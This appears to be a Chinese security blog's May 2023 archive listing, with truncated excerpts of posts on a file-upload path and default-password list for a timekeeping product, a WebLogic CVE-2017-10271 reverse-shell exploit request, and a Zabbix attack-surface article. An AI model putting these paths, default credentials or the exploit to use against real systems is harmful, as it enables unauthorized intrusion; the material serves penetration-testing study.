05 2023 档案

实战实用的字典
摘要：# 目录 ## 文件上传目录 亿华考勤t9 `https://kaoqin.test.com:8111/filemanage/file/Default.aspx` 文件上传地址 ``` /filemanage/file/Default.aspx ``` # 口令 ``` Admin/Admin ad 阅读全文
posted @ 2023-05-25 22:08 菜就多练forever 阅读(47) 评论(0) 推荐(0)
Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞（CVE-2017-10271）
摘要：参考： https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2017-10271/README.md 反弹shellEXP: POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 172.3 阅读全文
posted @ 2023-05-17 23:26 菜就多练forever 阅读(41) 评论(0) 推荐(0)
Zabbix攻击面挖掘与利用
摘要：原文链接: https://www.anquanke.com//post/id/250722 Zabbix攻击面挖掘与利用 阅读量 **34618** | 一、简介 Zabbix是一个支持实时监控数千台服务器、虚拟机和网络设备的企业级解决方案，客户覆盖许多大型企业。本议题介绍了Zabbix基础架构、 阅读全文
posted @ 2023-05-17 00:03 菜就多练forever 阅读(174) 评论(0) 推荐(0)